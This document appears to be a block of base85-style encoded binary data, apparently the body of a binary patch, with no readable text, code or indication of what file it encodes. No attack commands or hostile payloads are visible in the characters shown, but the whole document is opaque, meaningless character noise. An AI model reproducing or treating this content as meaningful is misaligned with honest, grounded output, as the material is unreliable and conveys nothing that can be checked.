z*s7tN_e_{gcAR;RWKwbCCMtiM!@UO+$grKYCKIsRAQUu{$Yc)hw9PlJc=jZd@H$u` zNmcCkv;Vugn@`G4u8ZAiFo{fyB%WWi)|R0S@mN9AnQ|&M=4^p3GW02)MARDWqYd~H z=bou$gR}{jWZjlqs7*^?nF31ZxyNVHyPnNd$shOAp&0xArW*Ewlu%jPIM zglo5HICzTnasJ+_6x?zu0@jfNJq>P;>g%K>|D|f-ebMvv!fOgTPw0@jQ(t!9L4lC1 z<8OSOD9hj(rY@MP;C1JyAUm8Cd-{a!U4_{{({<(Z>TO^(o}$b`7_MwBT~^GyuY3@W z-?_hgor0^JTyD(5iuq&Drv~`2IKW86Lc*~`?fz)_blTze0Y&zmJiE z7FME`d2A;B_NU|dWhXkzL8On|pBT%-FT7;d%no951A5qQ7|>f%lqh01TA)}19j+G# zPH`8ug%3}pWT@d`SntJbr#}XKRT-79mlE`B1(AIWAgJ1E+$>3lHtzL1@5=yB2Ps^a zM6+5>P;G91nUr0Ztx$dvz8u86b3`x6H|f=_;M5ows4%eWOqtAHtZdt*-gh{cDbxK~ zPq_nGagH4XOu|>KTAgd$UAlp~(;xa!)$&!ZnzO_v7B_1EiRA+#F10}d%H9sb8R|8m zIy8(b3~F^AnNNk);5Fj4>(zg>bDo^({rL-n#F-7~wy5OkT#7X5|Ka2$9pYXp{g1a> zp^nd(?7)eG6w{SEWx&|VgImHvu)gn>hQe-8r5^pJPUc`QRA#e6p7VDnVVjZ>4L3Hk zSnGBsL}E$XqNk?;`Ff7l29r09=gGJzsY-ZfjfjDEc!IS+vP925Mbh=aiK_`E#`9KJ zm{)uJLYh*8!A_m_wW`thkM9ymsSEZB=cr17YRNJ{M8FP{lD3X$4wT7I@hGn97846W z15-6T_#}~QNmE8=ZDf9333)*UK#uoaIw%$lHNVjzv~x(-E3E)E?tbbu@fB$U5Ul_F zbYQNzbiR686mLN0bhBeUyJ_6CpO8?H4Ys`6iDrqFmZAyLt>p)&5~)Q4e{bleQN+XW zZq9R88=|0Q*TIQnrF)_@m|YTW6^GLCpxtgimppzT4vzQ;f3u>f1xv@{$XG8RhCNG!TKgHou^^fVQuogSKVEdR(A zNnJ&{OXJ*HvOkD=_PF~=yh8^W9K6p;nw%Yz)cq8vc#~FeVSg>Q>M-pc%@VN=6o|OV zKI?-=E%#oBiX)9u+Ozym9DwAnh%8J`&vseGT>Xar<__jQAc<2*2AMtgBT5ziwhFZs z95$lBB3YbYQqN|51!BNhm85)%PW(LA9w))VbtyU{iQ92Y6 zWS^g!gkUD#HVe&qe@P3az*<42)MLHWXrEa0;-H|960Ij}H@V*l27v=D*sKDU`oYsy zCKU|DuV#vd3_iqN{-SW5Usq(4b=sd|b~` z&XehJ7fHUPO|CZrBGYAKM}y`6G#u^brJ|Tpg2O>}Q;`V_K7;tGfkNdd?X1TF|4Psd z9+Ohr=9Mhp+5CSl?fp@`TpyU@W-DDM;A%RN?x3ZxgS5 zhn;mCXxB?jfXK!u#LUU>tS`LV{%VSnX4-@X#mg;k3dxyjhHyGOVluoyqVEKLkqyemp}4X5v9&le$Ng%NS>#GUe)@ON%E(>#uo%`$1Sp8;A5JY z#n(Djkiy|vdOjfhstsVNchh_Us8S!GE-ly2kSpC74N%sy@!`1LZMEaDYzn{47j?s$&1kC-{!PvW$g3KAE>Hda@mK zZ^B0m9wei}M z5avY;C?Z|N3f~3>pL77-nR=c=WYEa^_k6OM$~z}4w(3n^_)}g%ruUEk5iGG#52sZB zK*pbsH}VYaG4#+s?7gIwR`#Oq26*6KUg|x?hMN5TxqccmrE@K>O(v75Aafs;s6S$M zKIu`9&8SZNWKq!<{6fVd-pYmK#I`Gcyzdp^BR8;oQ;=yaYGm@oL{_Mo=ExSNx?Tr@>z1`K!L47(Y&K%K3Zvh34;Z zv?}m^$a`Soo-UPDlI-7oNnJ}7O9KQ1`Zes@f2pVC`{H&<|8anKsGi&E@ET5nkNRoAQ zUxS_kEE_924r9jHA$VFC$g{#B!gpt|cpJDrE_{F)S zG!v3B7F*GdR*c)Wzwe41Ut2fR2uu)vWuE31!H4_hjxDc3IFQ^zfbhFA=-rMa7N9?w zT8hz#l-)U6oe!^Z5=kkbq@ek7g!1uA9Y%J`^f2{b`@;lki+{Jpk*Mp{rCNo`43)eH zmZut$6+;PNmO~~GrgGiAAs@+?!?YRWybXcz=J6-C7w1X>ByZ|$rQvh$}`sI2bz zf^JY4L0RBSB*(l{&EQC|jqLo!`Xxd5V0a#?MPN{9!LEB1%rodN5CZq&?9Vx%(g+FG z_Da`;^{~SIi167BSU@YWHCAxlr0OkxkN3#xx#(JUo|x^%a65#dBqmUm_`z3#U_vJ6 zba|CnUt!pfrQU1S+qzMh!WxI zmaI)_lApJ~AO(UTXc#GrrwKF;3`4&?1$6g+ij1AYM1p0QGfx!Yyo@!5H}!@13lw3@ z{MLj^Aa;O!BkJ!05)ubB6PKQO(gzRNW)y+-K2xS-dys$CY+{R|w$6 z|1~2Iu9w3(7_luJLpj7qTeu9KzAc3BL*YiuPb)Lh6bQY6K#(rYh5}oSUd>B(?r6H%(?0VsUGkDc;7nE8 zYDz+UGF+aBR!C%eqWo(poOJou1R*0FDlfnb>O~MF-1fSGZL3){4h_jr5;TdK|NEw) z_M=eS`!l}q>9tfgUV&fCimY}rzST6dXgN+3!_O!6>`#CX*H6jv)gleAQp<=so`j;i z&<##xrAdldxrMrjD{oomhnOY9bi|Fc#^F9zlRx;6zM8ZP-6Sc@FYZ!q>EqTGCU+<> z58i87N^4Vd_WJ`P_I(=|M;1}nDPL1a)yYVn4EY=|V4PyJ^wkZ^4V(;53KhGwDPaGM z6_u1}O&E%Jf4dg6>9Eg)jOvRsd!BE~SiHa+|J=x>0-PfpM6Frltu$GbnB0#=FMvbE z^@_MX(G33zsnA%5gz%CK6`}9m{B1a*-$6qI#Y7iD=k>eNz!O8l<{$3H{R-b(&sYN9 zA+P3Nzfr~zuZg^A^l-FEJ-D2QBwRIh=~OV&oOB>xANHMyHg55z(6NeTR_{Eg`B#{_ zFxUl2w|FjIxx0hW0cLGJBfq286Vh(5Y$#S@cGemStug+o&>Fr7=KzO7IaJd?pRqpx zT~uh7DcLUDESV!;XCPT@b@4HpXx7~|Z4r1?Y?mKJ|1E7Blbs)wZ_Z!3l~&kUw&Ri@ z$f%vSzy;biJNFnZs=I}^kD=8mQVPd(D6Mocu9%^xQ(_BDQy zn4;Jgrd1C?OIc9I)3u=g(l0VD*Y6~}8LOkoz3mE(A09Kx_DpG#FI6IC4Yh-}v)H5_ zD`OS!4nBnd${?y&tn(T!%A9tm%+OmzrT>-?-cy%hYfTw-wbocRfke*EF=Xy}VYL>c zJ$mB(eWcGux_Fd(Bx_MIQ?M;Fj7~1ts8d5Oo>&iRSHQNYd9}!{+;faMXC$2-UfZ>J z_~ZsBNWy8>@l66+dIZ{DuHLPrQyBD90*!7Hw85GJvo*m#?xvcCKSC`zH_^I?U-12e zjU#f=9;T3|F>3}vksQSlG;4!LYT+Q$8pDI9&i9B&(x?n~%`3Fax5zROlLmn@WDEU< zF10?$Ah4Ld_EO7(nSJX+`yybhH}Jrt(BQKUg7(dx1c_(=y&@4J^6cVdppo?ow;f>5 z8vO}h2gSHRIJ&A@JGinrzf-qwmXCR~WXTY&n5R}tHoggu0E4-}ZuM{#3Ch&@v*N0w zzKMIpe5J)b2X87THN(H>X)@BH-tL3azhAW$Jfikwco&9-5f5&pWYhL<7<>ejXei$O z$Nbsx4!~U;mvXuz+BGi9-ncw;;7AG@j&`K#0QFH%-{L&OD*(9Ls>bIVb=6(fLml_; zJYC*#))Dx_hTpcOE7;z9Afw*|@Zr{up8{Ae74~Mf4Ce8FanBpP9*{WNZ~;EjZ`l7@ zJq)|_2B&S-Ow6VD&3pZzSnoV@&{*@zhFoiXHkzM5yd5Oc8lJqLSGCpSYf?m3wH@?j zqG}BCZENDQ^{@p1m0%&q|9cs6&!Q+})%M*gqP12=%|7bH%E@a@F+T0Di07IwX9M~} zn&LzM<@I_hv_&;aTx;Xle5*HJj}w#xXVM1fTO(GP*$`8te{W0^^*Y$d(Ix#8*GKK2 zCIg_EE~V4wC~5^x(f{tX=7?qn*-+R7^oZc2dl?JQ;mX zza{xyZIoU8=OtcZjVbf0+ScLW95Tgyu5a~yl^|{ed1N@zx~CPcr@BMmA}7pio{ZTx4{{$8OF z%9zo)O*+r5X~y8pRA5(gGt#-oLZq|DkLGK0sJx$3L^e!#B*EcxBBW@faRk5uK90P zAI;BSPxY@~%5=X58dmAlfBc`f!DN#zXi#gC%qFa58nsim8e{YVW44xRl&iYPTZ&V) z&#S91ubV3yCo{CP=_1K!SSx8ZwXmhcO&Rqe;(>z)Y|U{u@*r9^Lyg2X+Uc0SHNbp#({N=wkPF16bocOXsWa|2zs=aiH2V`0~!~ z=#~dB#I8#sa#e`=)=3LfBwkIAyd<89Uhp4@UUH}o5keDms#ApH&k7Vh4qV$Q@g%kb zZx<|2T^t{|efe&n^4^U=$f!1!MvXDy{|y#dH!1wqcm{gzc?5d)qv{V)DMeX}|8l1f zaqpl|zXx`O4@}X(C4Z*azItUI9c)M8Q;v7-`U{Els@n zaJWYQ08VE4f^*RByr)|(hYaiwv0O~EMq>H>O)wL-)+maEHhwjfiw5NB@eFip?=APa zMFnIJ0|fMS$+6@w+@Yu#G+fU)Yiae(zqa`4a|+l_YybrpbWtc@?%znC?jICDm`VKf zURvP>wfsQQ+x;L_UTG@UkMfZft=ju&bbXM9d6x8%n^bBa`@}bn1efmQ@yqq)>39A9 zVYmI5Os<~KSuO3nQDNxLcIc`%k7+wWv{2|GEG^qYj4#|u z-uQR@H5p2++jS`u7$%U!5APq68zvBB{ra39_O=au>X}9Jt3-FT5ZIs1=lqL`|LM1D zId-$^Fh|NqfHN^m@VDl(>Kn6n<>#tmWj3dtLj7WE(IjND>f7CA#r?q}U|SHj)Y+3L zp7)`c#4whgB%_fgAghoj5OdA~$R-K8+w&TQcH=#-@7zp0^G8+Z$s5lt6cAFF&%-MH zd3wNaq+N-OxM5zx8LHIb&*eDR=tAP~U%J+menc<>Rpy}pQ#vM&k!ad-7-*Ib3EZz` zMPgzT3}5~8-EdiOFt+x_+B|oMO2t!)nk$1Uy{o@|z2!a4nxa~vWo zm@dw%|L8ZZn)Y7rpUX^#8)Z2x5{?~)`s3u(F(Y()b{V+4_$YX5g$6cT7er{33H0hM z>4*j2i!r>@sN3fR`y#fpvJq3t`sfgb20i}8FdV6*>%1o6Pve91M(vICrokmTnPbK& zshkNRnu}*z7b+`1p$h!PlPKyaO-RzH?!gl$$$4Z4{A6*M8 z8rK-9ssUcsrjIU&QMVmNjjwdLASnCc&)_rpx1tM{}s0F>m$I9xhNt=5Czdd3ZBnkcmh zu9a!T?+hk#*Zos+`ov_e`ob!=W;Zg=m-S3HdaH)b;!DNBw|;Z@bbitGP<&~rw#}<{ zR9L?*=~!}MWecS7fBlZj{VfoF?m-lMA8S3?!}ibDL-g-N#}0_wkN5MxuZu?jJT>T9 zgNv%J*_yusD(%eFYBJYQ=otGF`FnmK{zK)<$wSBLFjQ$8v8x`my7nFS3S8EoJGv;N z>I@4X428xJq*ypZY$vEs^Jk*ltVaN-z(9gd;$)}#D2(Fi4{xKqUL7nHhJNC54Dw6% zcGh~l+L0@noj|_3)>O`K7HnGkx_tOwZ0B6UuUwjb>6m?o_dK06l|9ccs(hR%wd_=e z%(fFbw}L_tLB2fBlj<1n4zhKko8ZNMv6<}ZIFHU-lHv5ZhNI}yGWJoqLn{qmNfG{8 zxzpr?KKJVwUoDlV`T~1_==%IPSgJ-4^p7VH^d|(TLR4UA+%M%%7zgs*4@G1+tzOsK_Y2(G4zrrojz3xz1fJ^^5vi!Yw zN>{pEui>yc#+r-!_v!aZp`pZ=*E7=X$s+(%Ai4gvcC~?T^ndkoF{_&B$8X3UUoqDf z4-Do2*rnGZgRNb22HUjq3~i*TK2(sVB&)8Oy2$#+syt$vbRFEGxPMS@!x&t0Vwe9mLh}KclKP4X-;`l z7NBHy7}2{!u3hY#$(8@f1OUe&t6oRz`W6d#Wsu_C%`%iiL`|O)zHQ{d=)rnB<8f|V8OB2}sH z&{IL6onlDv*!Ix+4!OydFPhEwy{Sxl4_L5HcL^e5^jA@IpM=|;^4c}zRn<_-cgtVx zzVkaP(NCeJ??3?zZ_pyW@VZ?a33VpCHUta_ee7H1Si;xv!kMW%lUIB5pZpubIc~USY|%vR^Q;zxNN=B zOQ~~>ow@)7fth?#_w=sT<(js7t#1>@UErz~*}Cle?7aJB&$W&reDQQk;v0k&Vzq9m zNo-=4(uINjY&w*)4RUGOXVfq;aW1#Tk!yRYz^m=5+!}wnGjrh#g58VS0#}QDKt4_q zuAvj_>9aa1>pkqhKjb?o|9^FA@Vo1}gcFa9b)qdAGT!l$bRDeIPciX^)ghXsxap)y zZa8*WfC9r%#h9l($!+Dr^GnV;ciA4BG{i}k`Wg0MUE~h3iE`QB$SQ zV~&joyhjTq-Ep#NQPn*^HNR!8vD(NlWbG~SPhGt5*d{1~f4kmnuxWm;{kUJVp=msX&5UgOU(;Dl>pO75&D&sC zx$A^P?4J@mkSWqUH)f12!AFmkZuv^uZkL`*te^kZ`RfO$dbFHgkgMaj`}He% zE=m2Ueg-w#5@(>iJb?g%_eUgAwUEo!CAQ4c$OCLiD18~n3f}`>TzA?Ic4v7G#xLvH z=iIA)ud@4L3osTkJW!V^!c+{ViMdrLPTQ5E0($!AWO7hNR;mUPAK9?pw5TmBU?lpL zHg0F-(l&cNE_TBE@_Lkj&SMrNkgoKjhBNTTo^U3bb4XW>cD{xc((%B74H z{F11}u6d>CgU8;3mss?&A8Ew0&0s;>a#y@n{3}*Zt)AS)4V?O0ObLsCg`@NCfxHgW z)~jVA^|$B)rk?O1b2mfpBpO*Kmv>koBAM!FDcl0i&9`y>i*4}_CG_|ok=;ZOD>!cB zel_CZF-?_C@^I~b1Te~5{`Xxi+<=q%Z$_e4Q0!uS?}h1ljc4rR*G2Ok7a*<8(D(u8 zk`rCiJR?wk9m)n}rq}?)zc3f_jGcJ73}C<52U^0>6C(+;MSR-?r)+C+b9;z8U3`^6 z47812hE{z15KdLlnDRkS!^=V5Td49K5bSYC;wnK7{~7y!cLVRVXc@eSpPfIEg(YGW z{29uttK2p$jO=$W+k$qUe~r@*n8|H{Fv9nq9QxM5?gYJ*($L%%^u2X9oPwb2J@84o zOCYR%g+)`X3SK04U#8xFbbI~GzYGG2ni+*yr2g0ob^e=(M(Lz1cClwAkh?cuc}l@J z&YbhIEpcRXV0C8?m7656iROiaeC@XHcVBlgv`>N)fuFq6kh(jI+I~@(j`;e;^AW%1 zJ_H>MWC}=-y>7yyEc%oKa2v z{J!~wc>QS5AC_|5X?uKc#ZhCt)JTF5sG!(iAYT+T;1_CKWSt*-j&5{PcUVF z+K``%R-_@D5H=%6Z9m4U`g_SdFX06)vGg82>$lD}n{@4@)C!d$D>irLbiGv9(&Z3@ zq$|m=iCkojQ>8hnA}8miricZgV$xGf>t6j0HhK=P z)oE_)2_yCEOX7A78w z_l@EV5he9M>P6T{)WK2dj>odSY~$@^bzz!?<--9Xpz-7wPhszag`2#TYCr~GLw^I= zgjcSRmVj#Y29FL&mt3Wtys&Gqz;7_FX06Z*>tTL=R`aRZfvt8iNw*>)nYCBo&;)cH z%PT=NYyNo_9<3BdWgJ7Eb%I81C$|x})!#i;B%t{r*$!H_PQ;vopxynsaa*u{rX=Qw z&!Crun)M1G7_F@bu10;uD>uUqsYGEI#7%AS6T!sbw+%o24DY0910I+>7+b1M-M?Rg zRL_TNaTlzaXjSf7_Uju%sDk|ljytzPpAxprmVj-7cJhScJ<`9{ZrDPD8?U4~w~Nro zYLDz^X2hay2Xc}f82Obd|KU!xtc7_N2$bclx{-ZFDRqK{DeOd?2ZK#gz?x|~j^+DA z-z+Tbs|Cz2ohG{0%ed6ynR~Ip0B>+$KB>KCu3}i^Y(=$D#C8o_ zXnH_KgmrOD$90$o-ha}&oxbQx2(9q+gYQ47papitfV>=m_UANh9kNL;WQxUfYpR`>NVXZJlX#n*cKa!72dGsVmD@)I%+kLe4RW zE__(hY{QwEiH4)J;j=wpICz}OdT9V9k0HTGWo9xu{5A;WOt+a}Xr^YJl)xZ?D|hw+ z^(z%^?|?bxEKxy!9$J-M@<2R^*UZ7l+kEFj8+gT~3_AU3X8NW;JAizR z6(J+p0p?Q3WjlAKpgGPo9=G5phD3W|2IB;Ojecs7Zk|fr@yN`baJb~k?V(w@=xvgS zk336SUt&qnyKV^OXTu9<%3Gzt(3E@Z-{MdK^Y`6 zDsex%rzJ_qJqx!{(Qjlq1VsEAiWBvh=UzI38AR|3IAnITWv7e&NGStk)V5x?2U)+p+7QeZbu4?ne#6Feir zJe|yRVY(S;SHw>)(cwAv6mh#GqDYvlfmov=`>s8Dt)M#j8rb_~VeV*Dg^ z@(p=boLdD`b8BN{lGG##Ic9X*(Q-|sw!AZ11Sh95mQ<}E! zP?@1XyxiMb_lQCNdzEne93T_`lcj-3G-B}kK4ri1?1s!6gmWwi=$A=a1%lv=GPoo# z_&6~-QOV@JFd%f2Mtib2IDWA>9AQj{OqEeWq>29rt)kErL2N<@oxI|i_=)YV;E|9V zX7HcTD0k&JS06iz^wPO8JH2T$TcVM>DIAa{3$I-7+RnX)9Z3SRWQU+oJC7u_iWrQ1 zNw1jLRr#At>v9{IAv%vm{zW zFmS#=ngGHzwz3|pGV=G3t%rB>F7qebroXkFe{;8}!swyIROn0BcBHlb3rjexp;so$rJy{V;7&-tnt_lnY+K2PDHJCFQcM4jMB z`D0iw=Lqct)QBi%$2EwgX;p`lT9Go~U8Gi#3VZ*NRA?PlnSfn|D^cFi1*F8S&fg1X zRxvDf*{3aRA-A>vTvQEYW*A1fSv4TdLb6xCg2&IHU#`o@uJPwWHz$FkTB1zk7^SX1 zUm&HMM6}-6(J;k{uk%#+D#5Ii@a41phdLB!0{aZ*ySTfWe=dIH8~QDZK)@L*Ziv7# z`j!^~wTmUsP`Mz3!|N`kX=#9%?Fl;LRsw3CcjFVnWf=ZE^&Hd7Grzho14GJvRI$U8 z9Y$gi>->+!0usO7Z~gNj=6e6L$^EaxQ6D@$akjd#7r6=lz6rcRN7OILotW zP4o>l;+y+7xvAgs7Cfx4k}vt4#>!?6liU=X9%5%HOMIY5jmj^zN$JO7s{>Q;8Do6m zZCHM{k)06qZp9*nTJ`?&`lc6?zgn3rTh>DiOH%j82aBY4)38S=ZH zv!ZJzc1$DJ2A(NehcYV!sA&Yv;xYP)=T)o7Hd*RKa0_%!{3&7+h}@oHcU1 zyQpJwpEX(ooM`G>Ch?J!*B%e;HVbg>-5~MN!NLhF?uGu;Hcv}08Ke=tuPYE$;1+B@ zDW9}|s1qmNFuZ=Ie!CSco@v%FJIg>OU9~%=$jWLW0;J(;QVvP-{;*3)TYpiH<_Fvo zdCw||JY+C-SJN{ru2u%7-52<~pfs2L`u+HPsI|+h{fc%5{_5MCKbsP$qEV${l+owK zTDED{O{YFg-q@`G+wXCuBZ}@sCLV{nj?X6-%j`Lok;^p)rR1=apa_Y4yYM8A^I#ba^dj4$3M#6HRoObK8 ztkWngl}tF4Z_J5LfHe;RuCqwiTH??LHZWmGqKv~jHot-Vhpk4J?=*?j3>c3Cq)%G{9937tIukob4|)mAy(Xu;bzJ{Iawriv$at7;7&i~S+Z+SyYl!QP>PTXcfQ5k1}T>5ezH%yK6+Vn zc2GBwD-u9oFWM*(v89vX5;a&9y=jXq`S4u+{iRp0sr)l8MoxNkA-RXq_v4hcM4)gr zxhI&tgeNlO^>tNPk&zCdtv9sy5cpMkx{*?WV|Wm&mVM&KpW`R5n2#vh^N?sCAoLgTmu*M{w5uXNuYQcD!QZ zAx0Ik6LLturB4|Cwx+nl0YZ}z;!P% zg>sP51_AIsvw1PSz~>LY{iY4vS-N{pzJ=dOd=L0DNGDhZf#pW%npwS>WBP9>keg6% zEM$0^#?vdALyS&K+Q1R6B!W0R0Z>m*BFn$9^Gz-1#0 zg7~z&f~c^Fg&OXPQ$yJp5OOwwz^kW&Qp%S=It7nmBMdb7)p@0VAHx)@dmWwf3|vQD z2CT4@I}3nA#wCO7u3D;8$0X27{jeWKx2LR5uW!SbU%U$I?s3)|GMHqRw<-Je@r(By z=>Wov8($Nfk(=@w`28zTS>nG^-LM0PB0)NhMkQCsee}brY@*&phd@#Dum#YZ6?D^~ z_81j}A88}c&cUKrd-eE|y}D}(NN?TXfhoc1a2x%j%KZ@$Ud9>;uO*(eiiviLSM-fB zZn#wX7=*glD9Q3$AC$_7uJ2h7W5l&OUH%2+etI4+A>5*o`2>^}Gvp`sz&mZ3_xepU z0$$LHbI`DDr{?I3=6d)du={GdX=j5{1Jm`Tm8aZax`ROVzEKZG2f;HzMl^F7#JnFU z%SGCRl?PG|kQvWX07b)-w_}DG!%DPUu@|Yc5wy((Y5WxSUnHkg9jNM}W;o5e8-5`q; zbGYUBBF>$^B7oNAVZ4&f5Ys(FzUuY^a_z%fK0gkC`78$$R{h%ZO4dz%BD)K_wystP zx->Rb;N~>N+0oqSa3@nqwJT&72_IDDJ8c3G|$^Fp7xGqVx8!xP~sUFF|=kpSua|e*mEu}cwVFL zqIv%32Pg|S)9a$V+a9R3%{B+h2cj0csA@p#%-FX6&c&l@T}*sMA4T_+7k~*cGqihpW|XfYiv@V4|3cS4XZ%}NkE^eRp-^3R_)Q5xEt3;tyB>HR+PxHT z5TU2RTuvZCUrK99zdH;zGkb&n89UCy|5r|*E}mD{qRGaMeuR_*THT#p9aP<2V)KON zlqSQu?KSRk%5aRL);t3@+r}kbn6S8!tUb&sEYizQ2iBPM{rW!r!;Qgm|2f>Sd);Zt z^9Taef4S32!mD>oiUx&3EX)C$n%3RA`BEoVDeN_VTIlq#bAvi-6M@l8w>XcLJ00nz z){;jKlgLc~obFWcsy~9L5sq$*FId<%IT?%xxJRomD2?|YdRPj1_QoyV!MW@5NkgXd zGO$yPQPq|`LKyv%Sys&Wfc7pPc*LJoONzji2Tr(BH7#EQRqOW!aCSy z!q7>BKA0y>b=nH@V^C_lYHi-bdOWchnRvH#+yrz!kc3_6anc{q2jOqgCVdbGarjz~ zkiYE}7+B-t56fknTLiVST-3LSxZjJq^11qd`3O8v$MvY_jhpiHn#}%Uj&KyD0M_^Q z(+*%tDIqEyFiNIF%AR1zF?K2oO~{5{7djl`@D4u}`+mieOvOp&h1V%lSR9CUBdDeyv(ScP=n(|A4s; z_B>dA$G0lR+c7i`$@TsJsE5}jpsFv~+IB#|5hUAPd!Z1KCt&*_TcX^xkbv|GlrDXW+XHy6XDn!gPx0e%t1r^@W+FZ@-CC zLuo;>35)=~MUmMAVhckF+c)h^BFxead4E!eAxD=}yfNM&FLaUa8t?x9n7suXE8DdR zBfdqnW%-hfJT)xsK-T3lsxcMwY)O*bm~Ljy#|s6rX%|zE0k-)-u?!TkB{{+nTbyoJ8I z-!#q3^Gsg}{5(F^=yaV4VxLJV(9o{@-m*YG0jB1%w#3J~{SPm%aJzBmLH9gx-&1MJ zi%gOOdH1lrLwtNuR@9OjBv~w`^dH5Y@R!CS2mtu~9t`L8OV~qhqaV92e#$PG>gB&` z0>bqw_=2NF+_3NznI^@Q1ZdI(Iu)$G$DF^e9a8#^OX5_ z#ZV+2S7-tvMS;PjNb6F1=x+!D{wOl%7HLk`{kVpP&bE8(@A7}=-f-;jFZW0b|1%J! z!La?z!GHt4jUsR75ig{N&h`Pm02bIn>0HF1PE(^LhjE#b(`i-<5ZeVqkBAI(p}t_j z-C5fS>oe;e@B!7@y>!iln{aWpOf*WED@VSf@QrHY5l$SLR~w@~cAZz#*@w?)0htjv zPBS733uz;A(pWGPAG^%Vwn*>-8Gi`-c=RnDKH!Z4jibuINV=y*;4LxJf}2~!k2|Wo zN1edL{PlRY=S@21Mya%151D6hxq4c^gz>#~`)l-?ZhC@52oUrC;%FiINn_PYn+#jp znG$bUo|iNu?2r%ZcoOm4yBv#B36DWZdPV+Mvmat3gX}w?o-Td&?tA!b>qTRjOc@phGB?KV82*Oqc&Sf)W=g0 z|I*I+v;Q*sjn=QYULoD=A1{hYkZBTq;CP}T)GCesUCO?8sSJO;>V!!-AECjjK&WII z-iE+A=T`i9VvxCeQW#`w8Uywgr6(dg_a7R#Eo5E)-wVSGPAT<%uM^rME8n9wo zfNr(hg#}3O2KF4QMM-r#^^01k)XF2hY5ZJN&At0H%Q%pURnj(NXUSFk2tW@r2H4oR zi=(VmoH-05>4$YUxs+`tnt7|?KXp8*8c(13M^T9sTyyr-qXQnnEO9lKW&G*g6Q8_v zN1OW|uGi>(<(tCfRzMY#oBdd%{FOFW{8AW6-8`mhg80~AgUC{4@;3NSsA62Jh~k6;Eu`YP6Yxw_dhtlXcGW7a0&qDl(?LzAEc8eQQ=ty$Ujd=ngP}h2xB}*Gv`qY{;OI&1_rru)(AMB| zh0{dm5|i8GWARM_AS|)?!Uj%M12)ApJu$s7v@yY>gn@=4_nTV5=AY#$YmeY9a}9gJ zEA87XDe6wga1RPy=xy(yq3>Dd)JUM8O3eYmPlaRJ2IJ?(>)UcKXLOTPc3tFpDx&Wk z;;;;UJ^}iW2haNMoStMi*^IQK0V@8?w4!zwf)h zKiRjyy7~~Up$V>*+L80PB#ggl{{SD2u(%$#17l&0Bo1<*ESy;F-Alg1?h*_{f~)Q1 z4lh5*R+ji$jhuSTfafzG^up;$<-z4M`(LOQ?K@xj7A+e8JLm*Xvss4ubzQ^r=_*a; zibf9KO6T>}S>&QB!guqX#)E$6I#xA`yAf@;dLu*tUZ|y|RkehB=xJG?XqJfo@rdUY zy2$^Ls-!F^E?Qh#Pr@Eg--xJDur#1F87cI_GjsY^SY_+iQ#?(8awy}p{?%$OLVT|LWFqK4-`RAor6iB5dz_&d&Po*SSP0_;>p8391HO%z8>kw{?f~T3>@7)U#>|Q9y(nuSS*;g;nuvegm~Du{#hb& z9x{eBpPBTiZFc@y^!dkV@43k@0Vg32?oJW)nLr#Liy>E}wPN=dZb6iJw|R*Xh@|CcFGt!}Td|7_<=UG@U7pONU*hB$1uc-fiG<#`L2D=iIkdLy}dM zb&p#`xES3%VH-#l@CV3y%c($#d)IBBBU~fBjMpacv(=0<1592qn->uszMZxGa_B14 zGVQoXt&U;p?$mp*S#l5jE+lqu~RI&?+`x2gL6*Fo(8F4|2C|0||j-Mh{?AyJ-9 zFu{FyK52Rcy6>hbC+%E%o^jr!w5Y^)S%3M(Dnv20Mfk7mC|SiYz7V552P0i)T+>+~n!w zab{ASUx_>a9-yfeA=A@VUg3Yno@0X_{b@NfnaPmR9h`x`k`J`p*wa3*g%ez1Shqlu z^WGDC#C7lAALS80T?w&Zw*$AvsGnhcE0ImOTl(${oWR!1S9(So3a-l2m>*D zmlj2BT<&#>=8Xdpx_SB^O)Fth)%gaYG!7$_l_14J_6`777qwvuqABvgTnt}m_9vpe z_+Lp+Pn|)p9DVW~f86L2yhI%o2ybK%8FBX>JE2b1mRnybq4poW6ua(7TN6%T*av;5 zO@`7!V-5g9wMQDT`6m7n>qQw-Ii(8uCFcG_dy_K1H`*xgC0OEV+i?|;-xe#f!r7uNWsq@=W7gVTo&@jtx#@AIjDAY z4%vvK2_{_CNsJpMWqoo>#m9t(W{fd?eTOsdZ{i6(e;_WDtz#!#RdxW~0^v#9!2{2T zY`u{TK1cY`!y-I!sILP|7xNstXw6lQsEwlKs!J7$^$rsu5LqL*^+5TYtsk3fh zb0V8oAeJWhd~@d^f|nQJ$1;#nXk?yjxfhcvwU?T4S+>b@HwFnd`HPO#QVh}hlyGea z4Nc(D~JK5XqI6m9x-rfJ&^lhzApXC zQrkXULCTgB%Z*9rhRuCRdx)@Xadj2#Qf0{ip7Yz^Vn&|{13U9c_UFC6bWlt%d@~4& z(VlH(tWiXWlK99$9~HjcA{?{!5>lO<1ZwJex*V)?Tl>n_|WG&N3XBud4J0yuu9@G$jMdltI)=c!H;c4>y#?gFe@z$ zOG+Zp8%gnJ0}PSf_odFXz(hfK$d#0q`T<;bD_n6#=E=I*wAfWAW8KjcIX~~dzK6|b zHn5Mxi0(nVMfuA4ouC)(lVx&*2BlEiIOT0tc1mT|uGFrifv3eh>oVMiXyq{`nD|D0 zl58lKq>pOB90vRaAJ(<;*m*f8c5w&M1|vd!qb}n43@P8+KKKUPcPHB2KFSZNpU&OE zm9q={F2(`8Egy&^CqpeUjw$4A2jJDdi@~(9B`#{pjT9V@LtcpFjTEwTKf%^RwSnSW zn_ZLkvnKm7dwT;)1rFm@o-7bvZA?798s5BD9`5!#N3y|gA~%`SCAb1oH$Hu-jN{|Z zgf^op_q=p`?FQ~o5GGiL-6Y?CjdgGH2Tkz*YMACy7LwqP=^B*%Mss|DF^_wLtU^Za zKnOSB@(iI0w?-57kSWKHfPNGsky-|3n%em0QbhV@K^yX*rP|a`*p?8j<>vI^;pvT` zlIsN@wj=riCuvs|NM7JDeypag|*ppof`lIM=578MnsR1|!osK*9E*!O&XMNo?iL2`bQ z#8IYwyc2)|U6D5<8jmX~jQmkFy&=t7pSN4bFQ9+w4p$lMZIqcLCh1~rDHmu#XQKR| z0yjfI9xn@L#$n48cJM7aj-aTSZs(%m2!jZBW;ah<;bOH)zIPJa zJN~DTnd)N&Vt(?kToEw4np`9zBFS9`nhL-j8?e>CbzUKAzUz)I11}$Ej9CwZxJ$5Qo9cAa_>|A&gVppH< z{MU@-(ZKnINfqm~1xW46*`_QK##itS$k8W(o$!kbWInzUMX=h)5g-L6%z?Nyb@dIg z4tn|3By>Z{5q}oJHV8*RG9W!D_{Ii}M}YqAT$N-w?{2YR0Rz5T4SQ%*q+^M86dAJ@ zB3z=B8CGf8rn+rhmv$FThhJ&q96UZt*ux$eA7UMBG>q0*4LL3$ZEo)o-t;A3#P<+| 